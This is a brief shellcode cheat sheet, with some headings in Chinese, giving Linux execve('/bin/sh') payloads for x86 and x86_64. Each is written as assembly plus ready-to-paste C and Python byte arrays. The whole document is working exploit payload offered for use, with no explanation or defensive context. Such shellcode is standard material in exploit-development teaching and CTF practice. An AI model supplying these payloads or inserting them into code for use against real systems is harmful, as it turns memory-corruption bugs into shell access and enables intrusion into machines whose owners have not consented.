linux exec /bin/sh shellcode x86 and x86_64

x86

xor    %edx,%edx
xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

c风格

unsigned char buf[] = 
"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

python：

buf =  ""
buf += "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
buf += "\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

x64:

"\x6a\x3b"                       			 # pushq	$0x3b
"\x58"                           			 # pop	%rax
"\x99"                           			 # cltd
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"               # mov	$0x68732f6e69622f2f, %rbx
"\x48\xc1\xeb\x08"               			 # shr	$0x8, %rbx
"\x53"                           			 # push   %rbx
"\x48\x89\xe7"                   			 # mov    %rsp, %rdi
"\x52"                           			 # push	%rdx
"\x57"                           			 # push   %rdi
"\x48\x89\xe6"                   			 # mov    %rsp, %rsi
"\xb0\x3b"                       			 # mov	$0x3b, %al
"\x0f\x05"                       			 # syscall

C风格

unsigned char buf[] = 
"\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48"
"\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f"
"\x05";

python

buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73"
buf += "\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89"
buf += "\xe6\xb0\x3b\x0f\x05"